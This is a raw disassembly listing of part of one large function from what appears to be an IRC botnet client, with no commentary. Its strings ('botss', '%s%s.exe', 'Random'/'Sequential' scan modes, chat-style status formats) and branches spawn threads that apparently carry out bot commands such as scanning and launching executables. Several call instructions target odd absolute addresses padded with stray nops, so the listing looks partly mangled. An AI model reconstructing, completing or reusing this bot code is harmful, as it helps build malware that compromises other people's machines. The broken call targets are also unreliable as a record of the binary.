loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0


loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------


loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414037
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_436FE4
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D


loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B


loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx


loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0


loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi


loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------


loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------


loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl


loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"


loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F60
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4121AB


loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460A
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_412195
; ---------------------------------------------------------------------------


loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_436F18
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F45
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436F0C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F45
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F45
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F45
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------


loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43F6A8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436EA0
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E35
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41248B


loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E3
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_412475
; ---------------------------------------------------------------------------


loc_41248B:				; CODE XREF: sub_40EE72+3601j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_436E54
		jmp	loc_4144D4
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E08
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412588


loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E3
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_412572
; ---------------------------------------------------------------------------


loc_412588:				; CODE XREF: sub_40EE72+36FEj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_436DB4
		jmp	loc_4144D4
; ---------------------------------------------------------------------------


loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx


loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx


loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436D78
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4126C9


loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------


loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_436D28
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_436CEC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4127AD


loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_41279B
; ---------------------------------------------------------------------------


loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		nop
		call	near ptr 2650BAEh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436CA4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	esi
		jmp	loc_414617
; ---------------------------------------------------------------------------


loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_436C64
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4128C0


loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------


loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_436C1C


loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		jmp	loc_411D1F
; ---------------------------------------------------------------------------


loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436BDC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4129B7


loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------


loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_436B94
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436B58
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412AAE


loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_412A98
; ---------------------------------------------------------------------------


loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_436B10
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_436AC8
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		call	near ptr 27E0ADCh
		nop
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436A94
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460A
; ---------------------------------------------------------------------------


loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C07
; ---------------------------------------------------------------------------


loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_436A38
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412C0B


loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E0F
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------


loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_4369EC
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5


loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2760B39h
		nop
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_4369B8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_436990
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotss	; "botss"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		call	near ptr 2771311h
		nop
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F2
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------


loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx


loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------


loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx


loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
